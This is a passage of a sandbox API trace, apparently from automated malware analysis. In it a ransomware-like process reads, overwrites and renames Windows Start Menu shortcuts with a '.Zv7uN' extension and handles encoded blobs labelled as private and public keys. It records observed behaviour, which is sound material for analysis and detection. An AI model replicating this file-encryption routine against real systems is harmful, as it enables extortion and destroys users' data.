halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\notepad.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0128.782] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f1ae00*, nNumberOfBytesToWrite=0x518, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f1ae00*, lpNumberOfBytesWritten=0x18f3e0*=0x518, lpOverlapped=0x0) returned 1 [0128.784] CloseHandle (hObject=0x1e8) returned 1 [0128.784] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\notepad.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\notepad.lnk.zv7un")) returned 1 [0128.786] GetCurrentThreadId () returned 0xa30 [0128.786] GetCurrentThreadId () returned 0xa30 [0128.786] GetCurrentThreadId () returned 0xa30 [0128.786] GetCurrentThreadId () returned 0xa30 [0128.786] GetCurrentThreadId () returned 0xa30 [0128.786] GetCurrentThreadId () returned 0xa30 [0128.786] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7dfec52d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x106, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Run.lnk", cAlternateFileName="")) returned 1 [0128.786] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0128.786] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0128.786] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Run.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\run.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7dfec52d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x106)) returned 1 [0128.787] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Run.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\run.lnk")) returned 0x20 [0128.788] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Run.lnk", dwFileAttributes=0x80) returned 1 [0128.789] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0128.789] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0128.790] GetCurrentThreadId () returned 0xa30 [0128.790] GetCurrentThreadId () returned 0xa30 [0128.790] GetCurrentThreadId () returned 0xa30 [0128.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0128.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0128.791] GetCurrentThreadId () returned 0xa30 [0128.791] GetCurrentThreadId () returned 0xa30 [0128.791] GetCurrentThreadId () returned 0xa30 [0128.791] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Run.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\run.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0128.792] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0128.792] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0128.792] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x106 [0128.792] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0128.792] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0x106, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f3d4*=0x106, lpOverlapped=0x0) returned 1 [0128.794] CloseHandle (hObject=0x1e8) returned 1 [0128.794] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Run.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\run.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0128.797] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f1ae00*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f1ae00*, lpNumberOfBytesWritten=0x18f3e0*=0x106, lpOverlapped=0x0) returned 1 [0128.799] CloseHandle (hObject=0x1e8) returned 1 [0128.799] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Run.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\run.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Run.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\run.lnk.zv7un")) returned 1 [0128.801] GetCurrentThreadId () returned 0xa30 [0128.801] GetCurrentThreadId () returned 0xa30 [0128.801] GetCurrentThreadId () returned 0xa30 [0128.801] GetCurrentThreadId () returned 0xa30 [0128.801] GetCurrentThreadId () returned 0xa30 [0128.801] GetCurrentThreadId () returned 0xa30 [0128.801] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0128.801] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows Explorer.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0128.801] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0128.801] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0128.801] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\windows explorer.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc)) returned 1 [0128.803] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js 